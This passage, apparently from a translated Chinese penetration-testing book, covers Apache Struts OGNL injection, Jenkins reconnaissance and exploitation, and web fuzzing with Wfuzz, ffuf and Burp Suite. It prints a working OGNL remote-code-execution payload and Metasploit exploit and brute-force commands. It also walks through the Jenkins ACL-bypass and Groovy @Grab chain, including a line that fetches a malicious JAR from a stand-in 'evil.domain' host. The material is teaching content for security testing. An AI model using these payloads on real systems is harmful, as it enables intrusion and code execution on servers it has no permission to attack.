${(*#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS*).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

现在我们已经可以访问DEFAULT_MEMBER_ACCESS对象，我们可以从 Java 常用实用程序包中调用任何类、方法和对象来在 OGNL 中运行。在这种情况下，我们将使用Runtime().exec()方法来执行我们的命令（#a=@java.lang.Runtime@getRuntime().exec('id')），并且为了在响应中打印命令执行输出，我们将使用getinputStream()方法，如负载的最后两行所示：

${(*#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS*).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

现在我们对负载有了更好的理解，让我们在请求中使用负载，如下面的屏幕截图所示：

服务器将处理 OGNL 表达式，并在允许访问DEFAULT_MEMBER_ACCESS对象后，将调用我们的Runtime().exec()方法，该方法将执行我们的命令：

'id'命令的输出将打印在Location HTTP 响应头中，如前面的屏幕截图所示。现在我们已经了解了 OGNL 表达式及其手动利用，让我们尝试使用 Metasploit 来利用它。

通过 OGNL 注入测试盲远程代码执行

这是一个不同的情景，服务器对 Apache Struts 2 远程代码执行（RCE）漏洞存在漏洞，但由于某种原因，代码执行响应被隐藏了。在这种情况下，我们仍然可以通过使用sleep()函数来确认 RCE 漏洞。类似于时间基本的 SQL 注入中使用的sleep()函数，我们可以使用此函数来检查响应时间。我们已经执行了sleep()函数 2,000 毫秒，如下面的屏幕截图所示：

要确认漏洞，我们只需查看服务器的响应时间，即服务器处理请求并发送响应的时间。对于这种情况，我们执行了sleep()函数 2,000 毫秒，服务器在 2,010 毫秒内响应了请求，如下面的屏幕截图所示：

我们应该始终通过更改时间为不同的值来检查漏洞的存在。

测试 OGNL 带外注入

确认漏洞的另一种方法是执行与我们放置在组织外的自己的服务器进行交互的命令。要检查 OGNL 带外 (OOB)注入，我们可以执行一个简单的ping命令，如下截图所示：

在将有效载荷发送到服务器之前，我们需要使用tcpdump在服务器的公共接口上进行监听。我们可以执行tcpdump icmp host <ip>命令来过滤服务器上的 ICMP echo request和echo reply数据包。我们需要这样做，这样当我们执行有效载荷时，我们可以在服务器上收到ping的 echo request，就像下面的截图中一样：

对于 OOB 交互，我们可以尝试不同的协议，如 HTTP、FTP、SSH 和 DNS。如果我们无法获得输出（盲目），并且要检查是否可能获得反向 shell 连接，那么 OOB 注入会有所帮助。

使用 Metasploit 进行 Struts 2 利用

现在我们已经手动利用了 Struts 2 的漏洞并清楚地理解了相关概念，我们将看到使用 Metasploit 利用相同漏洞有多么容易。使用 Metasploit 可以使利用变得更加容易。我们可以通过以下步骤搜索 Struts 上所有可用的模块：

1. 在 Metasploit 控制台中搜索struts，如下所示：

1. 以下是一个运行 Apache Struts 的演示 Web 应用程序。该应用程序容易受到S2-013漏洞（CVE-2013-1966）的影响。让我们看看如何使用 Metasploit 来利用这个漏洞：

1. 我们通过在msfconsole中输入以下命令来加载 Metasploit exploit：

use/exploit/multi/http/struts_include_params

1. 通过输入show options命令，我们可以看到可用的选项，如下所示：

设置选项并运行 exploit 将给我们命令 shell。如果没有反向 shell 连接，我们需要执行简单的出站连接测试，以检查目标服务器是否允许所有端口的连接。如果防火墙阻止了出站连接，我们可以尝试通过 HTTP 隧道获取绑定连接。

总结

在本章中，我们介绍了 Tomcat 的基础知识，并了解了其架构和文件结构。然后，我们转向了识别 Tomcat 和检测版本号的不同技术。接下来，我们看了 JSP 和 WAR shell 上传的 Tomcat 利用。在本章的最后，我们介绍了 Apache Struts、OGNL 和 Tomcat 的利用。

在下一章中，我们将学习如何对另一个著名的技术平台 Jenkins 进行渗透测试。

问题

1. 在黑盒渗透测试的情况下，我们如何公开识别 Tomcat 服务器？

2. Changelog.html文件是否总是存在于 Apache Tomcat 服务器上？

3. 我已成功将 JSP shell 上传到 Apache Tomcat 服务器。然而，我无法访问它。可能是什么问题？

4. 我发现了一个 OGNL OOB 注入。我该如何进一步利用这个漏洞？

进一步阅读

以下链接可用作进一步了解 Apache Tomcat 和 CVE 2019-0232 的参考：

• blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/

• github.com/apache/tomcat

第十七章：技术平台上的渗透测试 - Jenkins

在之前的章节中，我们看了如何利用 JBoss 和 Apache Tomcat。在本章中，我们将看看 Jenkins。Jenkins 是一个流行的工具，用于自动化软件开发过程中的非人工部分。在企业对消费者（B2C）关系中，公司提供诸如电子支付、电子商务、在线手机和卫星充值计划等服务给消费者，开发人员承担着重要的工作。由于在分期和生产服务器上频繁更新，环境对开发人员来说变得复杂。为了更有效地处理软件更新并能够及时发布它们，公司将选择使用一个平台引擎来尝试帮助管道化更新并轻松管理它们。

Jenkins 是这样一个平台引擎。它处理需要在不同时间部署到不同服务器上的源代码的部署和管理。由于 Jenkins 在管理公司的源代码时处理敏感信息，因此它是那些专注于工业间谍活动的人的热门目标。一旦威胁行为者能够访问 Jenkins 平台，他们就可以访问组织提供的服务的源代码（蓝图）。

作为渗透测试人员，我们必须确保客户组织的实例（如 Jenkins）已经完全打补丁。在本章中，我们将探讨以下主题：

• Jenkins 简介

• Jenkins 术语

• Jenkins 侦察和枚举

• 利用 Jenkins

让我们开始吧！

技术要求

以下是本章的技术要求：

• Jenkins 实例：jenkins.io/download/

• Metasploit 框架

Jenkins 简介

Jenkins 是一个开源工具。它是使用 Java 构建的，可以通过插件实现持续集成。例如，如果我们想要集成 Git，我们需要安装 git 插件。Jenkins 支持数百种插件，几乎与每种工具兼容。它这样做是为了确保持续集成（CI）和持续交付（CD）。

以下是 Jenkins 的一些关键特性：

• 提供 CI 和 CD

• 基于插件的架构

• 可扩展

• 分布式

• 易于配置

Jenkins 术语

在我们深入研究如何枚举和利用 Jenkins 之前，我们需要了解一些基本术语，这些术语可能会在本章的后面部分出现。

Stapler 库

Stapler 是 Jenkins 使用的一个库，它允许对象自动映射到 URL。它解决了在复杂应用程序中映射相对 URL 的问题，例如表达式语言（EL）(www-106.ibm.com/developerworks/java/library/j-jstl0211.html)。它接受一个对象和一个 URL，然后根据对象评估 URL。它重复这个过程，直到找到静态资源、视图（如 JSP、Jelly、Groovy 等）或操作方法。以下图表更详细地显示了这个过程：

（来源：stapler.kohsuke.org/what-is.html）

如前图所示，根对象映射到 URL，而每个其他对象都映射为单独的路径，直到找到资源。

URL 路由

Jenkins 使用 URL 路由来处理 URL 路径；让我们来看一下：

• 模型：

getLog()将遍历到/log/

getJob("foo")将被遍历为/job/foo

• 操作方法

doArtifact(...) action in getJob("foo")将变成/job/foo/1/artifact，其中 1 是动态获取器。

Apache Groovy

Apache Groovy 是一种多功能的编程语言，支持静态类型和静态编译。用户在这里需要记住的关键点是 Groovy 支持运行时和编译时的元编程。

元编程

元编程是一种允许计算机程序将其他程序视为其输入数据的技术。因此，程序可以被设计为读取/写入/修改其他程序，甚至是自身。如果一个程序只是报告自身，这被称为内省，而如果程序修改自身，则被称为反射。许多语言支持元编程 - PHP、Python、Apache Groovy 和编译器是一些例子。

让我们尝试通过一个例子进一步理解：

#!/bin/sh
echo '#!/bin/sh' > program1

for i in $(sequence 500)

do

echo "echo $i" >> program1

done

chmod +x program

正如您所看到的，前面的程序创建了另一个程序programs，它打印数字1-500。

抽象语法树

抽象语法树（AST）是程序的结构和内容相关细节的表示。它不包括不必要的标点和分隔符。编译器使用 AST 进行解析、类型解析、流分析和代码生成。

管道

Jenkins 管道是一组一起工作并帮助进行持续交付的插件的组合。管道可以作为 JenkinsFile 的代码实现，并且可以使用领域特定语言（DSL）进行定义。Jenkins 中的管道是用 Groovy 构建的。

Jenkins 侦察和枚举

对 Jenkins 进行枚举是渗透测试的一个非常重要的方面。在执行侦察和枚举时检索到的活动信息可以帮助渗透测试人员利用 Jenkins 实例。

有几种方法可以确定 Jenkins 的安装和版本检测过程。我们现在将介绍这些，然后讨论如何利用 Jenkins。

使用网站图标哈希检测 Jenkins

Jenkins 有一个非常独特的网站图标，当转换为哈希形式时，变成了81586312。这个哈希可以用来识别 Jenkins 安装；甚至可以在 Shodan 上用来识别运行 Jenkins 的系统。

以下截图显示了哈希值如何用于识别 Jenkins：

我们还可以使用不同的 Jenkins HTTP 响应头来找到 Jenkins 实例。例如，要找到特定版本的 Jenkins，我们可以使用X-Jenkins头，如下图所示：

让我们看看其他 HTTP 响应头可以用来识别 Jenkins 实例。

使用 HTTP 响应头检测 Jenkins

检测 Jenkins 实例最常见的方法之一是分析 HTTP 响应头。Jenkins 将大量信息放入其响应头中，例如版本披露信息、命令行接口（CLI）端口、用户和组权限等，所有这些都可以用于进一步的利用。以下是 Jenkins 实例的响应头截图：

以下是一些可以用于检测 Jenkins 实例的 HTTP 服务器响应头：

• X-Hudson

• X-Jenkins

• X-Jenkins-Session

• X-You-Are-Authenticated-As

• X-You-Are-In-Group-Disabled

• X-Required-Permission

• X-Permission-Implied-By

• X-Hudson-CLI-Port

• X-Jenkins-CLI-Port

• X-Jenkins-CLI2-Port

• X-SSH-Endpoint

• X-Hudson-JNLP-Port

• X-Jenkins-JNLP-Port

• X-Jenkins-JNLP-Host

• X-Instance-Identity

• X-Jenkins-Agent-Protocols

现在我们已经学会了一些手动检测 Jenkins 的常见方法，让我们继续进行渗透测试的下一个阶段 - 枚举。

使用 Metasploit 进行 Jenkins 枚举

现在我们已经介绍了手动枚举 Jenkins 的方法，让我们继续看看 Metasploit 框架的辅助jenkins_enum，它可以进一步进行枚举。

Metasploit 模块还有一个辅助程序，使用与前一节描述的方法类似的方法来执行 recon。这包括查找响应头值，即X-Jenkins，以及关键字的 HTML 源。可以使用以下命令加载辅助程序：

use auxiliary/scanner/http/jenkins_enum

以下截图显示了上述命令的输出：

在上述截图中设置选项后，运行辅助程序将检测版本号，并执行基本检查：

现在，我们可以深入一点，检查辅助程序的源代码，以了解脚本到底在做什么。通过查看以下截图，我们可以看到脚本检查以下内容：

• /view/All/newJobs：显示作业列表

• /asynchPeople：显示用户列表

• /systemInfo：打印系统信息：

以下命令显示 Metasploit 中的另一个辅助程序，允许我们暴力破解 Jenkins 的凭据：

auxiliary/scanner/http/jenkins_login

以下截图显示了上述命令的输出：

在设置了所需的选项并运行模块之后，我们将看到辅助程序返回有效的凭据。这可以在以下截图中看到：

现在让我们在下一节中探索 Jenkins。

利用 Jenkins

一旦枚举完成，并且找到了一个有漏洞的 Jenkins 版本，我们就可以继续进行利用阶段。在本节中，我们将学习@orangetsai发现的各种利用方式，以及它们如何被链接在一起来在 Jenkins 服务器上执行系统命令。

首先，我们将看一下 2019 年最著名的两个利用，由@orangetsai（blog.orange.tw/）发现，利用了 Jenkins 并返回了一个 shell。这些利用后来被添加到 Metasploit 作为未经身份验证的 RCE。

Jenkins ACL 绕过

在 Jenkins 的脚本控制台利用变得广为人知之后，很多人开始在全局安全配置设置中将匿名读取访问权限设置为禁用：

有了这个设置，匿名用户除了在以下截图中显示的特定白名单项目之外，将不再看到任何内容（这些项目在以下 URL 提供：github.com/jenkinsci/jenkins/raw/41a13dffc612ca3b5c48ab3710500562a3b40bf7/core/src/main/java/jenkins/model/Jenkins.java#L5258）：

我们已经知道 Jenkins 是基于 Java 的，并且在 Java 中，一切都是java.lang.Object的子类。因此，所有对象都有getClass()，并且getClass()的名称符合命名约定规则。因此，绕过这个白名单的一种方法是使用白名单对象作为入口，然后跳转到其他对象。

Orange 发现调用这些对象（在此处列出）会导致 ACL 绕过，并且可以成功访问搜索方法：

jenkins.model.Jenkins.getSecurityRealm()
.getUser([username])
.getDescriptorByName([descriptor_name])

在上述对象中显示的路由机制映射在以下 URL 格式中：

http://jenkins/securityRealm/user/<username>/search/index/q=<search value>

从提供的 URL 中，我们可以看到除非我们登录，否则不允许任何操作：

现在，让我们看看当我们使用 ACL 绕过时会发生什么：

我们成功绕过了 ACL 并进行了搜索。

理解 Jenkins 未经身份验证的 RCE

将 ACL 绕过漏洞与沙盒绕过链接在一起，给我们远程代码执行（RCE）。Metasploit 已经有一个利用这些漏洞并执行我们的 shellcode 的模块。在了解利用的工作原理之前，让我们看看它如何使用：

1. 我们可以通过在 msfconsole 中使用以下命令加载利用模块：

use exploit/multi/http/jenkins_metaprogramming

1. 以下屏幕截图显示了前面命令的输出：

1. 接下来，我们设置所需的选项并运行利用，如下面的屏幕截图所示：

1. 现在我们有了一个反向 shell，让我们阅读利用的源代码并尝试理解它是如何工作的。通过查看源代码，我们可以看到利用中使用的各种 CVE，以及作者的详细信息：

1. 查看模块的源代码，我们可以看到模块正在使用GET HTTP 方法请求/search/index并带有q=a参数：

正如我们所看到的，利用通过检查以下内容来确认应用程序是否正在运行 Jenkins：

• 调用搜索功能的 ACL 绕过

• X-Jenkins 值的响应头

• 调用搜索 URL 后关键字管理员的 HTML 页面正文

在这里，我们可以看到与 Groovy 的doCheckScriptCompile方法有关的内容。doCheckScriptCompile是一个允许开发人员检查语法错误的方法。为了解析语法，使用了 AST 解析器（有关更多详细信息，请参见本章的Jenkins 术语部分）：

为了能够成功实现 RCE，我们需要发送通过doCheckScriptCompile()时执行的代码。这就是元编程的作用。Groovy 对元编程很友好。

当我们查看 Groovy 参考手册时，我们会遇到@groovy.transform.ASTTest，它有以下描述：

这意味着当通过@ASTTest传递时，将执行以下代码：

@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec(" echo 'Hacked' ")
})

到目前为止，利用可以这样编写：

http://jenkins/org.jenkinsci.plugins.workflow.cps.cpsflowdefinition/checkScriptCompile?value=@groovy.transform.ASTTEST(value={echo%201}%0a%20class%20Person())

URL 正在调用 Jenkins 的workflow-cps插件，该插件具有checkScriptCompile方法。托管代码的 URL 是

github.com/jenkinsci/workflow-cps-plugin/raw/2.46.x/src/main/java/org/jenkinsci/plugins/workflow/cps/CpsFlowDefinition.java 可以如下所示：

然而，这个版本的利用只有在 Jenkins 中不存在Pipeline Shared Groovy Libraries Plugin时才能工作。这就是为什么，如果我们进一步查看利用代码，我们将看到与最终载荷中提到的@Grab相关的内容，如下所示：

现在，我们需要了解@Grab是什么。根据 Groovy 的官方文档，Grape 是一个 JAR 依赖管理器，允许开发人员管理和添加 Maven 存储库依赖项到他们的类路径，如下面的屏幕截图所示：

因此，@Grab将从所述存储库导入依赖项并将其添加到代码中。现在，一个问题出现了：“如果存储库不在 Maven 上怎么办？”在我们的情况下，因为它在 shellcode 中，Grape 将允许我们指定 URL，如下面的屏幕截图所示：

在这里，以下代码将从evil.domain/evil/jar/org.restlet/1/org.restlet-1.jar下载 JAR 文件：

@GrabResolver(name='restlet', root='http://evil.domain/')
@Grab(group='evil.jar, module='org.restlet', version='1')
import org.restlet

现在我们已经从服务器下载了恶意的 JAR 文件，下一个任务是执行它。为此，我们需要深入研究 Groovy 核心的源代码，这是 Grape 实现的地方（github.com/groovy/groovy-core/raw/master/src/main/groovy/grape/GrapeIvy.groovy）。

我们可以使用一种方法来处理 ZIP（JAR）文件，并检查特定目录中的两种方法。请注意以下截图中显示的最后几行 - 有一个名为processRunners()的函数：

通过查看以下函数，我们可以看到正在调用newInstance()。这意味着可以调用一个构造函数：

简而言之，如果我们创建一个恶意的 JAR 文件，并将一个类文件放在META-INF/services/org.codehaus.groovy.plugins.Runners文件夹中，我们就能够调用一个包含我们代码的构造函数，如下所示：

public class Exploit {
public Exploit(){
try {
String[] cmds = {"/bin/bash", "-c", "whoami"};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}

上述代码将导致代码执行！

因此，如果我们回到利用的源代码，如下图所示，我们应该能够完全理解它的工作原理：

checkScriptCompile用于传递程序的语法。@Grabconfig用于禁用被获取文件的校验和。@GrabResolver用于获取外部依赖（恶意的 JAR 文件）。Import用于执行包含 shellcode 的构造函数。

总结

在本章中，我们学习了 Jenkins 及其基本术语。我们介绍了如何手动检测 Jenkins 的安装，以及如何使用 Metasploit Framework 进行检测。然后，我们学习了如何利用 Jenkins，以及利用的原理。了解这些利用的原理对于希望帮助所在公司应用更好的补丁并让渗透测试人员开发更好的利用或绕过的人来说是很重要的。

我们的主要目标应该始终是尽可能多地了解技术。从渗透测试人员的角度来看，他们了解得越多，他们能够利用的机会就越大，而从蓝队/SOC 团队的角度来看，对他们安装的技术有更多的了解可以帮助他们防止对其进行攻击。

在下一章中，我们将研究如何利用应用逻辑中的漏洞。

问题

1. 在黑盒渗透测试中，我们如何识别 Jenkins 实例？

2. 还有其他方法可以识别 Jenkins 实例吗？

3. 我已经从 HTTP 头中识别出了 Jenkins 实例，但页面无法访问。我该如何使页面可访问？

4. 一旦我能够访问 Jenkins 面板，我可以做些什么？

进一步阅读

以下链接更详细地介绍了 Jenkins 的漏洞利用：

• Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE: blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html

• Jenkins Security Advisory 2019-01-08: jenkins.io/security/advisory/2019-01-08/#SECURITY-1266

• 使用 Grape 进行依赖管理： docs.groovy-lang.org/latest/html/documentation/grape.html

第十八章：逻辑漏洞猎杀

在这一部分，我们将专注于利用应用程序中存在的业务逻辑缺陷，涵盖深入的示例。我们还将介绍模糊测试 Web 应用程序的方法，以找到漏洞并撰写报告。

本节包括以下章节：

• 第十四章，Web 应用程序模糊测试-逻辑漏洞猎杀

• 第十五章，撰写渗透测试报告

第十九章：Web 应用程序模糊测试 - 逻辑漏洞挖掘

在之前的章节中，我们已经学习了 Metasploit 的基础知识，可以在 Web 应用程序渗透测试中使用的 Metasploit 模块，使用 Metasploit 模块进行侦察和枚举，Metasploit 支持的不同技术和不同内容管理系统（CMSes）的不同模块，以及不同的利用技术。在本章中，我们将学习 Web 应用程序渗透测试的另一个重要方面 - Web 应用程序模糊测试。

Web 应用程序模糊测试并不是一般渗透测试案例中的强制阶段。然而，它是发现逻辑漏洞的关键步骤。根据 Web 应用程序服务器对某些请求的响应方式，可以使用模糊器来了解服务器的行为，以发现测试人员未见的缺陷。Metasploit 配备了三个 Web 模糊器模块，可用于测试 Web 应用程序中表单和其他字段的内存溢出。在本章中，我们将学习以下主题来学习模糊测试：

• 什么是模糊测试？

• 模糊测试术语

• 模糊攻击类型

• Web 应用程序模糊测试简介

• 识别 Web 应用程序攻击向量

• 场景

技术要求

以下是本章的技术要求：

• Wfuzz: github.com/xmendez/wfuzz

• Ffuf: github.com/ffuf/ffuf

• Burp Suite: portswigger.net/burp

什么是模糊测试？

模糊测试，也称为模糊测试，是一种使用畸形/半畸形数据以自动化方式发现实现错误的黑盒软件测试。模糊测试是由威斯康星大学麦迪逊分校的 Barton Miller 教授及其学生于 1989 年开发的（他们的持续工作可以在www.cs.wisc.edu/~bart/fuzz/找到）。在进行模糊测试时，观察应用程序/软件的响应，并根据其行为的变化（崩溃或挂起），发现实现错误。简而言之，模糊测试过程如下：

我们需要确定目标和输入向量（在系统应用程序的情况下）以及需要进行模糊处理的端点（在 Web 应用程序的情况下）。在生成适当的输入种子（随机模糊数据）之后，畸形/半畸形的模糊数据将被输入到模糊器进行测试。

与此同时，我们需要通过监控和分析服务器/应用程序响应（在 Web 应用程序模糊测试的情况下为 Web 服务器响应，在系统应用程序模糊测试的情况下为应用程序诊断信息/跟踪信息，其中包括 FTP 服务器、SSH 服务器和 SMTP 服务器）来了解应用程序在模糊测试期间的行为。为了更好地理解模糊测试，让我们首先学习一些在模糊测试中常用的术语。

模糊测试术语

为了更好地理解模糊测试和模糊测试技术，让我们先看一下本章中将帮助我们掌握模糊测试概念和技术的不同模糊测试术语：

• 模糊器： 模糊器是一种将畸形/半畸形数据注入到服务器/网络应用程序中并观察应用程序行为以检测错误的程序/工具。模糊器使用生成器生成的畸形/半畸形数据。

• 生成器： 生成器使用模糊向量和一些随机数据的组合。然后将生成的数据馈送给模糊器，模糊器将这些畸形数据注入到应用程序中。

• 模糊向量： 模糊向量是模糊器使用的已知危险值。通过观察应用程序的行为，模糊器可以注入不同的模糊向量。

• 输入种子：这些是模糊器用于测试的有效输入样本。输入种子可以是包含模糊器要使用的数据格式的任何测试文件。生成器将根据输入种子生成数据，然后由模糊器使用。如果选择输入种子小心翼翼，我们可以在应用程序中找到大量的错误。

• 仪器：这是一种技术，用于测量应用程序的性能和诊断信息，包括任何错误。在模糊处理期间，仪器技术将在运行时暂时控制被模糊处理的应用程序/软件，就像拦截器一样，以查找来自跟踪信息的错误。

现在我们已经学习了一些新的术语，让我们看看可以使用哪些攻击类型来执行模糊测试。

模糊攻击类型

模糊器通常会尝试使用数字（有符号/无符号整数或浮点数）、字符（URL 或命令行输入）、用户输入文本、纯二进制序列等进行攻击的组合。可以从这些类型生成一系列模糊向量。例如，对于整数，模糊向量可以是零、负值或非常大的整数值；对于字符，模糊向量可以是转义字符、Unicode 字符、URL 编码字符、特殊字符或所有字符的序列。生成模糊向量列表后，模糊器将使用该列表对应用程序进行模糊处理。

应用程序模糊处理

对于基于桌面的应用程序，模糊器可以对其界面（按钮序列的组合、文本输入等）、命令行选项（如果适用）以及应用程序提供的导入/导出功能进行模糊处理。

对于基于 Web 的应用程序，模糊器可以对其 URL、用户输入表单、HTTP 请求头、HTTP POST 数据、HTTP 协议和 HTTP 方法进行模糊处理。

协议模糊处理

协议模糊器将伪造网络数据包并将其发送到服务器。如果协议栈中存在错误，将使用协议模糊来揭示它。

文件格式模糊处理

文件格式模糊处理通常用于那些程序在文件中导入/导出数据流的情况。要执行文件格式模糊处理，您必须生成多个具有不同文件格式的输入种子，并将它们保存在单个文件中。然后，模糊器将使用保存的文件作为服务器/应用程序的输入，记录可能发生的任何崩溃。现在我们将进入下一节，该节将向我们介绍 Web 应用程序模糊处理。

Web 应用程序模糊处理简介

现在我们对模糊概念、术语和攻击类型有了清晰的理解，让我们开始基于 Web 应用程序的模糊处理。如前所述，基于 Web 应用程序的模糊处理是通过使用 URL、表单、标头和方法作为主要模糊向量来完成的。在本章中，我们将使用以下工具对基于 HTTP 的 Web 应用程序进行模糊处理：Wfuzz、Ffuf和Burp Suite。在继续之前，让我们安装本节中概述的工具，以便查找逻辑错误。

Fuzzer 安装（Wfuzz）

Wfuzz 是一个基于 Python 的 Web 应用程序模糊器，它使用替换技术来将命令中的FUZZ关键字替换为提供给模糊器的模糊向量。该模糊器可以在不同的 Web 应用程序组件（如参数、身份验证、表单、目录/文件和标头）中执行复杂的 Web 安全攻击。Wfuzz 还配备了各种模块，包括迭代器、编码器、有效载荷、打印机和脚本。根据 Web 应用程序的不同，我们可以使用这些模块来执行成功的模糊测试：

1. 我们可以通过克隆 GitHub 存储库来安装Wfuzz工具，如下面的屏幕截图所示：

！[](https://gitee.com/OpenDocCN/freelearn-kali-zh/raw/master/docs/hsn-web-pentest-mtspl/img/00825c4a-b2d7-4054-a19a-4f8b6994cc3a.png）

1. 在运行工具之前，我们需要通过执行python setup.py install命令来安装它。这将在系统上安装所有文件，如下截图所示：

！

1. 要确认工具是否已成功安装，让我们执行wfuzz -h命令：

！

现在让我们安装本章中将使用的第二个工具Fuzz Faster U Fool（ffuf）。

模糊器安装（ffuf）

Fuzz Faster U Fool（ffuf）是用 Go 编写的 Web 应用程序模糊器，具有 Gobuster 和Wfuzz的功能。我们可以从github.com/ffuf/ffuf克隆 GitHub 存储库，也可以从github.com/ffuf/ffuf/releases下载预编译版本。让我们按照以下步骤安装它：

1. 我们可以使用git clone https://github.com/ffuf/ffuf命令或go get https://github.com/ffuf/ffuf命令来克隆存储库。让我们克隆存储库：

！

1. 现在，通过执行go build .命令来安装它：

！

1. 成功构建后，我们可以看到在同一目录中创建了一个名为ffuf的编译程序。我们可以按照以下截图中显示的方式运行程序：

！

1. 本章的第三个和最后一个工具将是臭名昭著的 Burp Suite Intruder：

！

现在我们已经安装了执行模糊测试所需的所有工具，让我们试着了解在执行对 Web 应用程序进行模糊测试时将使用的模糊测试输入和向量。

识别 Web 应用程序攻击向量

攻击向量是 Web 应用程序的区域/部分，模糊器可以在其中注入畸形/半畸形数据。对于 Web 应用程序，以下是我们可以执行模糊测试的部分：

• HTTP 请求动词

• HTTP 请求 URI

• HTTP 请求头

• HTTP POST数据

• HTTP 协议的旧版本

让我们试着了解每个部分以及我们可以用于 Web 应用程序模糊测试的所有模糊向量。

HTTP 请求动词

请求动词也称为请求方法，它们由 Web 应用程序客户端用于指示对服务器上给定资源执行的期望操作。所使用的每种方法取决于客户端从服务器获取的资源。一些最常见的 HTTP 动词是GET，POST，OPTIONS，HEAD，PUT，DELETE，TRACE，PATCH和CONNECT。

对 HTTP 请求方法进行模糊测试可以帮助我们识别基于模糊器提供的不同方法而发生的 Web 应用程序响应的变化。我们还可以识别 Web 应用程序服务器允许的方法，这可以用于检查一些攻击测试用例。

使用 Wfuzz 对 HTTP 方法/动词进行模糊测试

对 HTTP 方法进行模糊测试非常简单，同时也非常有帮助。让我们尝试使用Wfuzz在简单的 Web 应用程序上对 HTTP 动词进行模糊测试。可以通过以下步骤来执行 HTTP 请求方法的模糊测试：

1. 在终端中执行以下命令以开始使用Wfuzz：

wfuzz -z list,PUT-POST-HEAD-OPTIONS-TRACE-GET -X FUZZ <url>

1. 以下截图显示了前面命令的输出：

！

-z选项用于输入有效负载。在这种情况下，我们使用了一个常见的 HTTP 请求方法列表（GET，POST，HEAD，OPTIONS，TRACE和PUT）。

-X选项用于提供模糊器要使用的 HTTP 请求方法。如果未提供-X选项，模糊器将默认使用 HTTP GET请求方法进行模糊测试。

现在，让我们看看如何使用ffuf对 HTTP 动词进行模糊测试。

使用 ffuf 对 HTTP 方法/动词进行模糊测试

我们还可以使用ffuf来模糊请求头。

我们可以执行以下命令，使用单词列表来模糊测试请求头：

./ffuf -c -X FUZZ -w <http_methods_wordlist> -u <url>

以下屏幕截图显示了前面命令的输出：

如前面的屏幕截图所示，模糊器找到了一些 Web 应用程序服务器可接受的 HTTP 方法。让我们尝试使用 Burp Suite 来模糊相同的情况。

注意：在ffuf中使用-c选项是为了给 HTTP 响应代码添加颜色。这有助于我们更快地识别隐藏的文件和目录。

使用 Burp Suite Intruder 来模糊测试 HTTP 方法/动词

HTTP 动词也可以通过 Burp Suite Intruder 来进行模糊测试，方法是单击 Intruder 选项卡，然后打开 Positions 子选项卡。Burp Suite 将自动使用§载荷标记标记任何匹配[parameter]=[value]格式的值。在载荷标记内的任何内容都将被 Burp Suite 视为模糊向量。Burp Suite Intruder 支持四种攻击类型：Sniper、Battering Ram、Pitchfork 和 Cluster Bomb。要了解有关攻击类型的更多信息，请参阅portswigger.net/burp/documentation/desktop/tools/intruder/positions.

让我们通过单击“清除§”按钮来清除模糊向量位置，如下面的屏幕截图所示：

要对 HTTP 请求方法进行模糊测试，让我们通过单击“添加§”按钮添加载荷标记（§），如下面的屏幕截图所示：

现在设置了载荷标记，我们需要定义应该由入侵者用于模糊测试的载荷。这可以通过单击“载荷”选项卡来完成（如下面的屏幕截图所示）。在这种情况下，我们将使用包含一些常见 HTTP 请求方法的单词列表。可以通过首先将载荷类型设置为“简单列表”，然后单击“加载…”按钮来加载列表：

加载了单词列表后，我们可以单击“开始攻击”按钮开始模糊测试：

将打开一个新窗口，显示模糊测试的结果，如下面的屏幕截图所示：

在前面的屏幕截图中，我们可以观察到当使用 HTTP CONNECT 和 TRACE 方法时，服务器分别以 HTTP 400（错误请求）和 HTTP 405（不允许的方法）代码做出响应。这显示了关于这两个请求头的 Web 应用程序服务器的行为。

注意：我们也可以自由使用在线可用的其他自定义列表来模糊测试 HTTP 方法。

HTTP 请求 URI

开始 HTTP 请求 URI 模糊测试，我们首先需要了解 URI 的结构。URI 具有以下通用可接受的结构：

http://[domain]/[Path]/[Page].[Extension]?[ParameterName]=[ParameterValue]

使用 Wfuzz 来模糊测试 HTTP 请求 URI 路径

要使用 Wfuzz 来模糊测试 URI 路径，让我们执行以下命令：

wfuzz -w <wordlist> <url>/FUZZ

以下屏幕截图显示了前面命令的输出：

使用--hc开关，我们可以根据 HTTP 代码过滤结果。在这种情况下，我们已经过滤了 HTTP 404（未找到）代码，如下面的屏幕截图所示：

我们也可以使用ffuf来做同样的事情。

使用 ffuf 来模糊测试 HTTP 请求 URI 路径

要模糊 URI 路径，让我们执行以下命令：

./ffuf -c -w <wordlist> -u <url>/FUZZ

以下屏幕截图显示了前面命令的输出：

在前面的两种情况下，FUZZ关键字被替换为用于模糊处理目录名称的单词列表条目。正如我们在前面的屏幕截图中所看到的，当模糊器请求 css、img、js 和 setup 时，服务器响应了 HTTP 301。通过观察响应的大小和单词，我们可以得出结论，模糊器能够在 Web 应用程序服务器中找到目录。

使用 Burp Suite Intruder 进行 HTTP 请求 URI 路径的模糊处理

现在我们已经使用了Wfuzz和ffuf来模糊处理 URI 路径，让我们尝试在 Burp Suite Intruder 中进行相同的操作。这里的概念是相同的。让我们放置一个负载标记（如下面的屏幕截图所示），以便模糊器将数据发送到向量：

让我们将负载类型设置为“简单列表”，并使用“加载…”按钮导入一个单词列表：

